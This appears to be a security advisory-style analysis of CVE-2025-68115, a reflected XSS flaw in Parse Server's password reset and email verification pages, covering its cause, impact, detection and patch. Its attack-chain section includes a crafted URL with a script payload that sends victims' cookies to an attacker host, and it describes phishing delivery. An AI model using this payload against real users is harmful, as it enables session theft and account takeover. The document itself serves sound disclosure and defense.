CVE-2025-68115: 
JavaScript vulnerability analysis and mitigation

CVE-2025-68115 is a Reflected Cross-Site Scripting (XSS) vulnerability in Parse Server, an open-source Node.js backend platform, affecting its password reset and email verification HTML pages. The vulnerability stems from unescaped Mustache template variables (triple-brace {{{...}}} syntax) that allow user-controlled values to be injected into rendered HTML without sanitization. It affects all Parse Server versions prior to 8.6.1 and versions 9.0.0 through 9.1.0-alpha.2. Disclosed on December 16, 2025, it carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.3 (Medium) (Github Advisory, Parse Server Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the use of Mustache's unescaped triple-brace interpolation ({{{variable}}}) in six HTML template files for password reset and email verification flows. Parameters such as token, username, locale, appId, and publicServerUrl were inserted into form action URLs and hidden input values without HTML encoding, allowing an attacker to craft a malicious link containing script payloads in these parameters. The fix, implemented in pull requests #9985 and #9986, converted all affected template variables from triple-brace (unescaped) to double-brace ({{...}}) escaped syntax and added a new XSS protection test suite in spec/PagesRouter.spec.js (Parse Server PR #9985, Parse Server PR #9986). No privileges are required to exploit this vulnerability, but user interaction (a victim clicking a crafted link) is necessary (Github Advisory).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of any user who clicks a maliciously crafted password reset or email verification link. This can result in session token theft, credential harvesting, unauthorized account takeover, and identity theft for affected users. The scope is changed (affecting the user's browser context beyond the vulnerable server), with low confidentiality and integrity impact on both the vulnerable and subsequent systems; availability is not impacted (Github Advisory, Parse Server Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.025% (7th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Reconnaissance: Identify internet-accessible Parse Server instances running versions prior to 8.6.1 or between 9.0.0 and 9.1.0-alpha.2 by examining application endpoints or npm package metadata.
2. Identify vulnerable endpoints: Locate the password reset or email verification pages served by Parse Server (e.g., /apps/<appId>/request_password_reset or /apps/verify_email).
3. Craft malicious URL: Construct a URL targeting the vulnerable page with a malicious payload injected into an unescaped parameter such as token, username, or locale. For example: https://target.example.com/apps/verify_email?token=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>&appId=myApp.
4. Deliver the link: Send the crafted URL to a target user via phishing email, social engineering, or by embedding it in a legitimate-looking password reset or email verification message.
5. Achieve script execution: When the victim clicks the link and the Parse Server renders the HTML page with the unescaped parameter, the injected script executes in the victim's browser, enabling session token theft, credential capture, or further malicious actions (Parse Server Advisory, Parse Server PR #9985).

• Network: Unusual or unexpected HTTP requests to Parse Server password reset or email verification endpoints containing URL-encoded HTML/JavaScript characters (e.g., %3Cscript%3E, %3C, %3E, javascript:) in token, username, locale, or appId parameters; outbound connections from user browsers to unknown external domains shortly after visiting these pages.
• Logs: Parse Server access logs showing requests to /apps/<appId>/request_password_reset or /apps/verify_email with anomalous or oversized parameter values containing script tags or event handlers; repeated requests from the same IP with varying payload patterns.
• File System: No direct file system artifacts expected for reflected XSS, but review server-side logs for evidence of parameter manipulation.
• Process/Browser: Unexpected JavaScript execution or redirects reported by users after clicking password reset or email verification links; browser console errors related to cross-origin requests originating from Parse Server pages.

Upgrade Parse Server to version 8.6.1 (LTS branch) or 9.1.0-alpha.3 (or later stable 9.x release) to apply the fix, which escapes all user-controlled values inserted into HTML templates using Mustache's double-brace escaped syntax. No configuration-based workarounds are available for this vulnerability. Organizations should also implement a Content Security Policy (CSP) header on Parse Server deployments as a defense-in-depth measure, and monitor password reset and email verification flows for anomalous parameter values (Parse Server Advisory, Parse Server PR #9986).

The vulnerability was reported by security researcher yueyueL and coordinated by Parse Server maintainer mtrezza, who published the advisory and patches on December 14–16, 2025. The fix was released rapidly, with both the 8.6.1 LTS and 9.1.0-alpha.3 patches merged on December 14, 2025, the same day the issue was identified internally. No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability database indexing (Parse Server Advisory).